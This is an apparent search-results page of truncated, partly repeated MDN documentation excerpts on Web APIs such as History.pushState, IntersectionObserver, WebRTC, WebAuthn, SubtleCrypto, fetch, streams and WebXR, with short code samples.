new execution context. this allows the javascript runtime to track the levels of recursion and the return of results through that recursion, but it also means that each time a function recurses, more memory is needed to create the
new context. run, javascript, run to run javascript code, the runtime engine maintains a set of agents in which to execute javascript code. each agent is made up of a set...
...And 3 more matches
History.pushState() - Web APIs
the state object can be anything that can be serialized. ...
... the state object can be anything that can be serialized. ...
... will throw an exception. if you need more space than this, you're encouraged to use sessionstorage and/or localstorage. title most browsers currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving. ...
...And 3 more matches
Working with the History API - Web APIs
.pushstate(), calling history.back() does not raise a popstate event. clicking the browser's back button (still) does. the pushstate() method pushstate() takes three parameters: a state object; a title (currently ignored); and (optionally), a url. let's examine each of these three parameters in more detail. state object the state object is a javascript object which is associated with the
new history entry created by pushstate(). whenever the user navigates to the
new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. the state object can be anything that can be serialized. because firefox saves state objects to the user's disk so they can be restored after the user restarts the browser, we impose a size limit of...
...hrow an exception. if you need more space than this, you're encouraged to use sessionstorage and/or localstorage. title all browsers but safari currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving. ...
...e empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving. url the
new history entry's url is given by this parameter. note that the browser won't attempt to load this url after a call to pushstate(), but it might attempt to load the url later, for instance after the user restarts the browser. the
new url does not need to be absolute; if it's relative, it's resolved relative to the current url. the
new url must be of the same origin as the current url; otherwise, pushstate() will throw an exception. this parameter is optional; if it isn't specified, it's set to the document's current url. note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) through gecko 5.0 (firefox 5.0 / thunde...
...And 3 more matches
Intersection Observer API - Web APIs
tage of the target element which is visible as a value between 0.0 and 1.0. creating an intersection observer create the intersection observer by calling its constructor and passing it a callback function to be run whenever a threshold is crossed in one direction or the other: let options = { root: document.queryselector('#scrollarea'), rootmargin: '0px', threshold: 1.0 } let observer =
new intersectionobserver(callback, options); a threshold of 1.0 means that when 100% of the target is visible within the element specified by the root option, the callback is invoked. intersection observer options the options object passed into the intersectionobserver() constructor let you control the circumstances under which the observer's callback is invoked. it has the following fields: r...
...ts for each of the boxes. the // first box's thresholds are set programmatically // since there will be so many of them (for each percentage // point). ...
...eating a
new observer for each for (let i=0; i<4; i++) { let template = document.queryselector("#boxtemplate").content.clonenode(true); let boxid = "box" + (i+1); template.queryselector(".samplebox").id = boxid; wrapper.appendchild(document.importnode(template, true)); // set up the observer for this box observeroptions.threshold = thresholdsets[i]; observers[i] =
new intersectionobserver(intersectioncallback, observeroptions); observers[i].observe(document.queryselector("#" + boxid)); } // scroll to the starting position document.scrollingelement.scrolltop = wrapper.firstelementchild.getboundingclientrect().top + window.scrolly; document.scrollingelement.scrollleft = 750; } intersectioncallback = (entries) => { entries.foreach((entry) => { ...
...And 3 more matches
MediaStreamTrackAudioSourceNode() - Web APIs
the web audio api's mediastreamtrackaudiosourcenode() constructor creates and returns a
new mediastreamtrackaudiosourcenode object whose audio is taken from the mediastreamtrack specified in the given options object. another way to create a mediastreamtrackaudiosourcenode is to call theaudiocontext.createmediastreamtracksource() method, specifying the mediastreamtrack from which you want to obtain audio. syntax audiotracknode =
new mediastreamtrackaudiosourcenode(context, options); parameters context an audiocontext representing the audio context you want the node to be associated with. options a mediastreamtrackaudiosourceoptions object defining the properties you want the mediastreamtrackaudiosourcenode to have: mediastreamtrack the mediastreamtrack from which to take aud...
...kaudiosourcenode(context, options); parameters context an audiocontext representing the audio context you want the node to be associated with. options a mediastreamtrackaudiosourceoptions object defining the properties you want the mediastreamtrackaudiosourcenode to have: mediastreamtrack the mediastreamtrack from which to take audio data for this node's output. return value a
new mediastreamtrackaudiosourcenode object representing the audio node whose media is obtained from the specified media track. exceptions notsupportederror the specified context is not an audiocontext. invalidstateerror the specified mediastreamtrack isn't an audio track (that is, its kind property isn't audio. example this example uses getusermedia() to obtain access to the user's camera, ...
...ckaudiosourcenode object representing the audio node whose media is obtained from the specified media track. exceptions notsupportederror the specified context is not an audiocontext. invalidstateerror the specified mediastreamtrack isn't an audio track (that is, its kind property isn't audio. ...
...And 3 more matches
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
excludecredentials, an optional property of the publickeycredentialcreationoptions dictionary, is an array whose elements are descriptors for the public keys already existing for a given user. this is provided by the relying party's server if it wants to prevent creation of
new credentials for an existing user. syntax excludecredentials = publickeycredentialcreationoptions.excludecredentials value an array whose elements are objects with the following properties: type a string describing type of public-key credential to be created. as of this writing (march 2019), only "public-key" may be used. id a buffersource matching an existing public key credential identifier (publickeycredential.rawid). this identifier is generated during the creation of the publickeycredential ins...
..."nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed). ...
...l": the authenticator is specifically bound to the client device (cannot be removed). if the authenticator already contains one of such a public key credential, the client will throw a domexception or asks the user if they want to create a
new credential. ...
...And 3 more matches
PublicKeyCredentialCreationOptions - Web APIs
publickeycredentialcreationoptions.timeout optional a numerical hint, in milliseconds, which indicates the time the caller is willing to wait for the creation operation to complete. this hint may be overridden by the browser. publickeycredentialcreationoptions.excludecredentials optional an array of descriptors for existing credentials. this is provided by the relying party to avoid creating
new public key credentials for an existing user who already have some. publickeycredentialcreationoptions.authenticatorselection optional an object whose properties are criteria used to filter out the potential authenticators for the creation operation. publickeycredentialcreationoptions.attestation optional a string which indicates how the attestation (for the authenticator's origin) should be t...
...an object with several client extensions' inputs. those extensions are used to request additional processing (e.g. dealing with legacy fido apis credentials, prompting a specific text on the authenticator, etc.). methods none. ...
...cdsa_w_sha256 = -7; const cose_alg_ecdsa_w_sha512 = -36; var createcredentialoptions = { // format of
new credentials is publickey publickey: { // relying party rp: { name: "example corp", id: "login.example.com", icon: "https://login.example.com/login.ico" }, // cryptographic challenge from the server challenge:
new uint8array(26), // user user: { id:
new uint8array(16), name: "john.p.smith@example.com", displayname: "john p. ...
...And 3 more matches
RTCIceCandidate.usernameFragment - Web APIs
the read-only usernamefragment property on the rtcicecandidate interface is a string indicating the username fragment ("ufrag") that uniquely identifies a single ice interaction session. this value is specified when creating the rtcicecandidate by setting the corresponding usernamefragment value in the rtcicecandidateinit object when creating a
new candidate with
new rtcicecandidate(). note that 24 bits of the username fragment are required to be randomized by the browser. see randomization below for details. if you instead call rtcicecandidate() with a string parameter containing the candidate m-line text, the value of usernamefragment is extracted from the m-line. syntax var ufrag = rtcicecandidate.usernamefragment; value a domstring containing the username fragment (usually referred...
...e() to add it to the set of possible candidates. when the web app receives a message from the signaling server that includes a candidate to be added to the rtcpeerconnection, you can (and generally should) simply call addicecandidate(). there's not typically a need to manually worry about filtering the candidates. however, let's imagine that we do need to minimize traffic. ...
...ypically a need to manually worry about filtering the candidates. however, let's imagine that we do need to minimize traffic. the function below, ss
newcandidate(), is called when a message, signalmsg, arrives from the signaling server that contains an ice candidate to be added to the rtcpeerconnection. ...
...And 3 more matches
RTCIceServers.urls - Web APIs
urls = iceserverurl | [ url1, ..., urln ], username: "webrtc", // optional credential: "turnpassword" // optional }; iceservers.push(iceserver); the value of this property may be specified as a single url or as an array of multiple urls. examples let's look a few examples of varying complexity. a single ice server this example creates a
new rtcpeerconnection which will use a stun server at stunserver.example.org to negotiate connections. mypeerconnection =
new rtcpeerconnection({ iceservers: [ { urls: "stun:stunserver.example.org" } ] }); notice that only the urls property is provided; the stun server doesn't require authentication, so this is all that's needed. a single ice server with authentication the secon...
...hich will use a stun server at stunserver.example.org to negotiate connections. mypeerconnection =
new rtcpeerconnection({ iceservers: [ { urls: "stun:stunserver.example.org" } ] }); notice that only the urls property is provided; the stun server doesn't require authentication, so this is all that's needed. a single ice server with authentication the second example creates a
new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections. logging into the turn server will use the username "webrtc" and the creative password "turnpassword". ...
...rls property is provided; the stun server doesn't require authentication, so this is all that's needed. a single ice server with authentication the second example creates a
new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections. logging into the turn server will use the username "webrtc" and the creative password "turnpassword". mypeerconnection =
new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", username: "webrtc", credential: "turnpassword" } ] }); a single ice server with multiple urls the next example creates a
new rtcpeerconnection which will use a single turn server which has multiple urls. this is useful if the server is, for example, available both on "turn" and "turns" schemes...
...And 3 more matches
RTCPeerConnection.createDataChannel() - Web APIs
syntax datachannel = rtcpeerconnection.createdatachannel(label[, options]); parameters label a human-readable name for the channel. this string may not be longer than 65,535 bytes. ...
... syntax datachannel = rtcpeerconnection.createdatachannel(label[, options]); parameters label a human-readable name for the channel. this string may not be longer than 65,535 bytes. ...
...reatedatachannel with an agreed-upon id. default: false. id optional an 16-bit numeric id for the channel; permitted values are 0-65534. if you don't include this option, the user agent will select an id for you. the options which can be configured using the rtcdatachannelinit dictionary represent the script-settable subset of the properties on the rtcdatachannel interface. return value a
new rtcdatachannel object with the specified label, configured using the options specified by options if that parameter is included; otherwise, the defaults listed above are established. exceptions invalidstateerror the rtcpeerconnection is closed. typeerror this can happen in a couple of situations: the label and/or protocol string is too long; these cannot be longer than 65,535 bytes (by...
...And 3 more matches
RTCRtpSender.replaceTrack() - Web APIs
the rtcrtpsender method replacetrack() replaces the track currently being used as the sender's source with a
new mediastreamtrack. the
new track must be of the same media kind (audio, video, etc) and switching the track should not require negotiation. among the use cases for replacetrack() is the common need to switch between the rear- and front-facing cameras on a phone. with replacetrack(), you can simply have a track object for each camera and switch between the two as needed. see the example switching cameras below. ...
...dio, video, etc) and switching the track should not require negotiation. among the use cases for replacetrack() is the common need to switch between the rear- and front-facing cameras on a phone. with replacetrack(), you can simply have a track object for each camera and switch between the two as needed. see the example switching cameras below. syntax trackreplacedpromise = sender.replacetrack(
newtrack); parameters
newtrack optional a mediastreamtrack specifying the track with which to replace the rtcrtpsender's current source track. the
new track's kind must be the same as the current track's, or the replace track request will fail. return value a promise which is fulfilled once the track has been successfully replaced. the promise is rejected if the track cannot be replaced for a...
...track's kind must be the same as the current track's, or the replace track request will fail. return value a promise which is fulfilled once the track has been successfully replaced. the promise is rejected if the track cannot be replaced for any reason; this is commonly because the change would require renegotiation of the codec, which is not allowed (see things that require negotiation). if
newtrack was omitted or was null, replacetrack() simply stops the sender. no negotiation is required in this case. when the promise is fulfilled, the fulfillment handler receives a value of undefined. exceptions if the returned promise is rejected, one of the following exceptions is provided to the rejection handler: invalidmodificationerror replacing the rtcrtpsender's current track with the ...
...And 3 more matches
Request() - Web APIs
this can either be: a usvstring containing the direct url of the resource you want to fetch. a request object, effectively creating a copy. note the following behavioural updates to retain security while making the constructor less likely to throw exceptions: if this object exists on another origin to the constructor call, the request.referrer is stripped out. if this object has a request.mode of navigate, the mode value is converted to same-origin. init optional an options object containing any custom settings that you want to apply to the request. ...
...integrity: contains the subresource integrity value of the request (e.g., sha256-bpfbw7ivv8q2jlit13fxdyae2tjllusrsz273h2nfse=). errors type description typeerror since firefox 43, request() will throw a typeerror if the url has credentials, such as http://user:password@example.com. ...
...equest example (see fetch request live) we create a
new request object using the constructor, then fetch it using a globalfetch.fetch call. since we are fetching an image, we run body.blob on the response to give it the proper mime type so it will be handled properly, then create an object url of it and display it in an <img> element. ...
...And 3 more matches
SpeechGrammarList - Web APIs
the speechgrammarlist interface of the web speech api represents a list of speechgrammar objects containing words or patterns of words that we want the recognition service to recognize. grammar is defined using jspeech grammar format (jsgf.) other formats may also be supported in the future. constructor speechgrammarlist.speechgrammarlist() creates a
new speechgrammarlist object. properties speechgrammarlist.length read only returns the number of speechgrammar objects contained in the speechgrammarlist. methods speechgrammarlist.item() standard getter — allows individual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax. speechgrammarlist.addfromuri() takes a grammar present at a specific uri and adds it to the speechgrammarlist as a...
... speechgrammarlist.length read only returns the number of speechgrammar objects contained in the speechgrammarlist. methods speechgrammarlist.item() standard getter — allows individual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax. ...
...echgrammar objects to be retrieved from the speechgrammarlist using array syntax. speechgrammarlist.addfromuri() takes a grammar present at a specific uri and adds it to the speechgrammarlist as a
new speechgrammar object. speechgrammarlist.addfromstring() takes a grammar present in a specific domstring within the code base (e.g. stored in a variable) and adds it to the speechgrammarlist as a
new speechgrammar object. ...
...And 3 more matches
SubtleCrypto.importKey() - Web APIs
ubtlecrypto.exportkey() or subtlecrypto.wrapkey(). keyusages is an array indicating what can be done with the key. possible array values are: encrypt: the key may be used to encrypt messages. decrypt: the key may be used to decrypt messages. sign: the key may be used to sign messages. verify: the key may be used to verify signatures. derivekey: the key may be used in deriving a
new key. derivebits: the key may be used in deriving bits. wrapkey: the key may be used to wrap a key. unwrapkey: the key may be used to unwrap a key. return value result is a promise that fulfills with the imported key as a cryptokey object. exceptions the promise is rejected when one of the following exceptions is encountered: syntaxerror raised when keyusages is empty but...
...kty": "ec", "x": "szrrxmyi8vwfjg1dpunbfcc9jzvjzefh7ulki1ukxaltd7rgwrcffxqygpcwu6aq", "y": "hhuag3ovdzer0uuqnd4pxhqtxp5idgdyhjhl-wlkjngjqaw0rngy5v29-av-ysew" }; examples note: you can try the working examples on github. raw import this example imports an aes key from an arraybuffer containing the bytes to use. see the complete code on github. const rawkey = window.crypto.getrandomvalues(
new uint8array(16)); /* import an aes secret key from an arraybuffer containing the raw bytes. takes an arraybuffer string containing the bytes, and returns a promise that will resolve to a cryptokey representing the secret key. */ function importsecretkey(rawkey) { return window.crypto.subtle.importkey( "raw", rawkey, "aes-gcm", true, ["encrypt", "decrypt"] ); } pkcs #8 imp...
...y( "raw", rawkey, "aes-gcm", true, ["encrypt", "decrypt"] ); } pkcs #8 import this example imports an rsa private signing key from a pem-encoded pkcs #8 object. see the complete code on github. ...
...And 3 more matches
TextEncoder.prototype.encodeInto() - Web APIs
written the number of bytes modified in the destination uint8array. the bytes written are guaranteed to form complete utf-8 byte sequences. encode into a specific position encoder.encodeinto always puts its output at the start of the array. however, it is sometimes useful to make the output start at a particular index. the solution is typedarray.prototype.subarray(). observe. ...
...er.encodeinto always puts its output at the start of the array. however, it is sometimes useful to make the output start at a particular index. the solution is typedarray.prototype.subarray(). observe. var encoder =
new textencoder; function encodeintoatposition(string, u8array, position) { return encoder.encodeinto(string, position ? u8array.subarray(position|0) : u8array); } var u8array =
new uint8array(8); encodeintoatposition("hello", u8array, 2); console.log( "" + u8array.join() ); // 0,0,104,101,108,108,111,0 buffer sizing to convert a javascript string s, the output space needed for full conversion is never less than s.length bytes and never greater than s.length * 3 bytes. if the output allocation (typically within wasm heap) is expected to be short-lived, it makes sense to s...
...racter u+0000 in the input, encodeinto() will write a 0x00 byte in the output. encodeinto() does not write a c-style 0x00 sentinel byte after the logical output. if your wasm program uses c strings, it's your responsibility to write the 0x00 sentinel and you can't prevent your wasm program from seeing a logically truncated string if the javascript string contained u+0000. ...
...And 3 more matches
Touch events - Web APIs
tlistener("touchstart", handlestart, false); el.addeventlistener("touchend", handleend, false); el.addeventlistener("touchcancel", handlecancel, false); el.addeventlistener("touchmove", handlemove, false); } document.addeventlistener("domcontentloaded", startup); this simply sets up all the event listeners for our <canvas> element so we can handle the touch events as they occur. tracking
new touches we'll keep track of the touches in-progress. var ongoingtouches = []; when a touchstart event occurs, indicating that a
new touch on the surface has occurred, the handlestart() function below is called. function handlestart(evt) { evt.preventdefault(); console.log("touchstart."); var el = document.getelementbyid("canvas"); var ctx = el.getcontext("2d"); var touches = evt.ch...
...0) { console.log("continuing touch "+idx); ctx.beginpath(); console.log("ctx.moveto(" + ongoingtouches[idx].pagex + ", " + ongoingtouches[idx].pagey + ");"); ctx.moveto(ongoingtouches[idx].pagex, ongoingtouches[idx].pagey); console.log("ctx.lineto(" + touches[i].pagex + ", " + touches[i].pagey + ");"); ctx.lineto(touches[i].pagex, touches[i].pagey); ctx.li
newidth = 4; ctx.strokestyle = color; ctx.stroke(); ongoingtouches.splice(idx, 1, copytouch(touches[i])); // swap in the
new touch record console.log("."); } else { console.log("can't figure out which touch to continue"); } } } this iterates over the changed touches as well, but it looks in our cached touch information array for the previous information abo...
...this is done by looking at each touch's touch.identifier property. this property is a unique integer for each touch and remains consistent for each event during the duration of each finger's contact with the surface. ...
...And 3 more matches
URLSearchParams - Web APIs
ectly be used in a for...of structure, for example the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note: this feature is available in web workers. constructor urlsearchparams() returns a urlsearchparams object instance. methods urlsearchparams.append() appends a specified key/value pair as a
new search parameter. urlsearchparams.delete() deletes the given search parameter, and its associated value, from the list of all search parameters. urlsearchparams.entries() returns an iterator allowing iteration through all key/value pairs contained in this object. urlsearchparams.foreach() allows iteration through all values contained in this object via a callback function. urlsearchparams.
...ted. urlsearchparams.sort() sorts all key/value pairs, if any, by their keys. urlsearchparams.tostring() returns a string containing a query string suitable for use in a url. urlsearchparams.values() returns an iterator allowing iteration through all values of the key/value pairs contained in this object. examples var paramsstring = "q=urlutils.searchparams&topic=api"; var searchparams =
new urlsearchparams(paramsstring); //iterate the search parameters. for (let p of searchparams) { console.log(p); } searchparams.has("topic") === true; // true searchparams.get("topic") === "api"; // true searchparams.getall("topic"); // ["api"] searchparams.get("foo") === null; // true searchparams.append("topic", "webdev"); searchparams.tostring(); // "q=urlutils.searchparams&topic=api&topic=we...
...pic", "more webdev"); searchparams.tostring(); // "q=urlutils.searchparams&topic=more+webdev" searchparams.delete("topic"); searchparams.tostring(); // "q=urlutils.searchparams" gotchas the urlsearchparams constructor does not parse full urls. however, it will strip an initial leading ? off of a string, if present. ...
...And 3 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
however, despite that flexibility in transport and communication of signaling messages, there's still a recommended design pattern you should follow when possible, known as perfect negotiation. this article introduces webrtc perfect negotiation, describing how it works and why it's the recommended way to negotiate a webrtc connection between peers, and provides sample code to demonstrate the technique. ...
...n server listed here is obviously not a real one; you'll need to replace stun.myserver.tld with the address of a real stun server. const constraints = { audio: true, video: true }; const config = { iceservers: [{ urls: "stun:stun.mystunserver.tld" }] }; const selfvideo = document.queryselector("video.selfview"); const remotevideo = document.queryselector("video.remoteview"); const signaler =
new signalingchannel(); const pc =
new rtcpeerconnection(config); this code also gets the <video> elements using the classes "selfview" and "remoteview"; these will contain, respectively, the local user's self-view and the view of the incoming stream from the remote peer. connecting to a remote peer the start() function shown here can be called by either of the two end-points that want to talk to...
...ffer, we don't need to do anything special, because our existing offer will automatically be rolled back in the next step. having ensured that we want to accept the offer, we set the remote description to the incoming offer by calling setremotedescription(). this lets webrtc know what the proposed configuration of the other peer is. if we're the polite peer, we will drop our offer and accept the
new one. if the
newly-set remote description is an offer, we ask webrtc to select an appropriate local configuration by calling the rtcpeerconnection method setlocaldescription() without parameters. this causes setlocaldescription() to automatically generate an appropriate answer in response to the received offer. then we send the answer through the signaling channel back to the first peer. on rece...
...And 3 more matches
Using bounded reference spaces - Web APIs
the options specified when requesting the session indicate that at a minimum, the session must be compatible with the local-floor reference space, but that it would be nice if the bounded-floor space were supported as well. once the session has been created, our startsessionanimation() function can try to establish a bounded-floor reference space, and if it fails...
...then... xrsession.requestanimationframe(ondrawframe); } if you compare this code to the code used in examples using unbounded reference spaces, you'll confirm that, indeed, the biggest difference is the reference space type bounded-floor. the cod...
...nimationframe(ondrawframe); } if you compare this code to the code used in examples using unbounded reference spaces, you'll confirm that, indeed, the biggest difference is the reference space type bounded-floor. the code begins by trying to get a bounded-floor reference space, but if that fails, it requests a local-floor space. in either case, successfully getting a reference space passes the
new space into the function onrefspacecreated(). if neither type of space can be created, an error handler is called (handleerror()). in either case, once a reference space has been created, it's handed off to a function called onrefspacecreated(), which takes over the process of setting up the space for use. it's important, however, to keep in mind that while a local-floor space provides a floor-r...
...And 3 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
ller. return value a promise that resolves to a response object. exceptions aborterror the request was aborted due to a call to the abortcontroller method abort() method. typeerror the specified url string includes user credentials. this information should instead be provided using an authorization header. ...
...est example (see fetch request live) we create a
new request object using the relevant constructor, then fetch it using a fetch() call. since we are fetching an image, we run body.blob() on the response to give it the proper mime type so it will be handled properly, then create an object url of it and display it in an <img> element. ...
...fetch it using a fetch() call. since we are fetching an image, we run body.blob() on the response to give it the proper mime type so it will be handled properly, then create an object url of it and display it in an <img> element. ...
...And 3 more matches
WritableStream.getWriter() - Web APIs
the getwriter() method of the writablestream interface returns a
new instance of writablestreamdefaultwriter and locks the stream to that instance. while the stream is locked, no other writer can be acquired until this one is released. syntax var writer = writablestream.getwriter(); parameters none. return value a writablestreamdefaultwriter object instance. exceptions typeerror the stream you are trying to create a writer for is not a writablestream. examples the following example illustrates several features of this interface. it shows the creation of the writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called sendmessage(), passing the
newly created stream and a string. inside this function it calls the stream's getwriter(...
...is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
...atch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer. ...
...And 3 more matches
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
the writablestreamdefaultwriter() constructor creates a
new writablestreamdefaultwriter object instance. note: you generally wouldn't use this constructor manually; instead, you'd use the writablestream.getwriter() method. syntax var writablestreamdefaultwriter =
new writablestreamdefaultwriter(stream); parameters stream the writablestream to be written to. return value an instance of the writablestreamdefaultwriter object. exceptions typeerror the provided stream value is not a writablestream, or it is locked to another writer already. examples the following example shows the creation of a writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called sendmessage(), passing the
newly created stream and a string. inside this fu...
...is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
...atch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer. ...
...And 3 more matches
WritableStreamDefaultWriter.close() - Web APIs
chunks were successfully written before the close, or rejects with an error if a problem was encountered during the process. exceptions typeerror the stream you are trying to close is not a writablestream. examples the following example shows the creation of a writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called sendmessage(), passing the
newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); functi...
...is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
...atch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer. ...
...And 3 more matches
WritableStreamDefaultWriter.write() - Web APIs
essful write, or rejects if the write fails or stream becomes errored before the writing process is initiated. exceptions typeerror the target stream is not a writable stream, or it does not have an owner. examples the following example shows the creation of a writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called sendmessage(), passing the
newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); functi...
...is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
...atch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that all chunks are written // before closing the writer. ...
...And 3 more matches
HTML in XMLHttpRequest - Web APIs
tml response body). usage retrieving an html resource as a dom using xmlhttprequest works just like retrieving an xml resource as a dom using xmlhttprequest, except you can't use the synchronous mode and you have to explicitly request a document by assigning the string "document" to the responsetype property of the xmlhttprequest object after calling open() but before calling send(). var xhr =
new xmlhttprequest(); xhr.onload = function() { console.log(this.responsexml.title); } xhr.open("get", "file.html"); xhr.responsetype = "document"; xhr.send(); feature detection method 1 this method relies on the "force async" nature of the feature. when you try to set responsetype of an xmlhttprequest object after it is opened as "sync". this throws an error in the browsers that implement the ...
...; xhr.responsetype = "document"; xhr.send(); feature detection method 1 this method relies on the "force async" nature of the feature. when you try to set responsetype of an xmlhttprequest object after it is opened as "sync". this throws an error in the browsers that implement the feature and works on others. function htmlinxhr() { if (!window.xmlhttprequest) return false; var req =
new window.xmlhttprequest(); req.open('get', window.location.href, false); try { req.responsetype = 'document'; } catch(e) { return true; } return false; } view on jsfiddle this method is synchronous, does not rely on external assets though it may not be as reliable as method 2 described below since it does not check the actual feature but an indication of that feature. method ...
... test html file is needed on the server. ...
...And 3 more matches
XRInputSourcesChangeEventInit.added - Web APIs
the xrinputsourceschangeeventinit property added specifies a list of input sources, each identified using an xrinputsource object, which the represented inputsourceschange event is to indicate are
newly available for use. ...
... the xrinputsourceschangeeventinit property added specifies a list of input sources, each identified using an xrinputsource object, which the represented inputsourceschange event is to indicate are
newly available for use. ...
... the xrinputsourceschangeeventinit property added specifies a list of input sources, each identified using an xrinputsource object, which the represented inputsourceschange event is to indicate are
newly available for use. ...
...And 3 more matches
XRReferenceSpace - Web APIs
the webxr device api's xrreferencespace interface describes the coordinate system for a specific tracked entity or object within the virtual world using a specified tracking behavior. the tracking behavior is defined by the selected reference space type. it expands upon the base class, xrspace, by adding support for several different tracking behaviors as well as to request a
new reference space which describes the offset transform between the tracked object and another location in the world. all reference spaces—with the sole exception being bounded reference spaces—are described using the xrreferencespace type. bounded spaces are implemented as xrboundedreferencespace objects. these are special spaces which let you establish a perimeter within which it's "safe" for the viewer to mov...
...t this time), xrreferencespace also inherits the properties of eventtarget. xrreferencespace defines no additional properties. methods in addition to the methods inherited from its parent interface, xrspace (there are none at this time), xrreferencespace inherits methods from eventtarget. xrreferencespace also provides the following methods. getoffsetreferencespace() creates and returns a
new reference space object as the same type as the one on which you call the method (so, either xrreferencespace or xrboundedreferencespace). the
new reference space can be used to transform a coordinate from the reference space of the object on which the method is called into a different coordinate space. this is useful for positioning objects while rendering, and to perform the needed transforms wh...
...need to obtain a reference space to represent the user's viewpoint on the world for the duration of the xrsession. to do that, call the xrsession method requestreferencespace(), specifying the reference space type you wish to obtain. xrsession.requestreferencespace("local").then((refspace) => { xrreferencespace = refspace; /* ... */ }); the other situation in which you may need to acquire a
new reference space is if you need to move the origin to a
new position; this is commonly done, for example, when your project allows the user to move through the environment using input devices such as the keyboard, mouse, touchpad, or game controls that are not connected through the xr device. since the origin will typically be the user's location in the space, you need to change the origin to refl...
...And 3 more matches
XRRigidTransform() - Web APIs
these dimensions are specified in meters. if this parameter is left out or is not compatible with dompointinit, the position used is assumed to be {x: 0, y: 0, z: 0, w: 1}. w must always be 1. ...
...these dimensions are specified in meters. if this parameter is left out or is not compatible with dompointinit, the position used is assumed to be {x: 0, y: 0, z: 0, w: 1}. w must always be 1. ...
... is left out or is not compatible with dompointinit, the position used is assumed to be {x: 0, y: 0, z: 0, w: 1}. w must always be 1. orientation optional an object conforming to dompointinit which specifies the direction in which the object is facing. the default value for orientation is {x: 0, y: 0, z: 0, w: 1}. the specified orientation gets normalized if it's not already. return value a
new xrrigidtransform object which has been initialized to represent a transform matrix that would adjust the position and orientation of an object from the origin to the specified position and facing in the direction indicated by orientation. exceptions typeerror the value of the w coordinate in the specified position is not 1.0. examples in this example, the beginning of the animation of a s...
...And 3 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
essibility is for your project. this document's deciding which msaa features to support section attempts to lower the cost by showing which parts of msaa are not very important to work on. you only need to support msaa on the non-standard controls in your app. so, it's not too bad. mostly myth: microsoft is abandoning msaa in longhorn reality: microsoft's accessibility strategy is changing to a
new api in longhorn. msaa will still be supported through an emulation layer, but that will probably be a very slow solution. we'll have to wait and see how good the msaa support in longhorn is, before we can call this one. msaa decision-making guide use msaa whenever you have created custom controls where you're handling the drawing, mouse and keyboard accessibility in your own code. msaa is the...
...: change the value. msaa events cheat sheet for information on what each event does, see the msdn event constants page. check with your assistive technology partners to find out what events you need to support. ...
...ast 50 or so events in a circular array. in practice, this is enough to keep accessibleobjectfromevent() happy. missing functionality in msaa problem and solutions: assistive technology vendors need some things which msaa does not provide, such as: no way of signifying that a document has finished loading. fire event_object_statechange for a window/client/pane object when it starts to load a
new document. use state_busy to indicate that a
new document is being loaded. when the loading has finished, fire another event_object_statechange event and clear the state_busy flag. no method to get clipped/unclipped bounds of a piece of text within a text object. this is needed by screen magnifiers. no scrollto method, also needed by screen magnifiers. implement a custom interface for text object...
...And 3 more matches
Video player styling basics - Developer guides
lity this section looks at the javascript required for implementing the button functionality. play/pause and mute now that the buttons actually look like buttons and have images that indicate what they do, some changes need to be made so that the "dual functionality" buttons (such as the play/pause button) are in the correct "state" and display the correct image. ...
...there is a reason for this! even though the browser's default video control set has been turned off, many browsers make them accessible by right clicking on the html5 video. this means that a user could play/pause the video from these controls, which would then leave the custom control set's buttons out of sync. if a user uses ...
...e by right clicking on the html5 video. this means that a user could play/pause the video from these controls, which would then leave the custom control set's buttons out of sync. if a user uses the default controls, the defined media api events — such as play and pause — are raised so this can be taken advantage of to ensure that the custom control buttons are kept in sync. ...
...And 3 more matches
HTML5 Parser - Developer guides
parsing is now done in a separate thread from firefox’s main ui thread, improving overall browser responsiveness. calls to innerhtml are a lot faster. dozens of long-standing parser related bugs are now fixed. ...
... parsing is now done in a separate thread from firefox’s main ui thread, improving overall browser responsiveness. calls to innerhtml are a lot faster. dozens of long-standing parser related bugs are now fixed. ...
... parsing is now done in a separate thread from firefox’s main ui thread, improving overall browser responsiveness. calls to innerhtml are a lot faster. dozens of long-standing parser related bugs are now fixed. ...
...And 3 more matches
HTML documentation index - HTML: Hypertext Markup Language
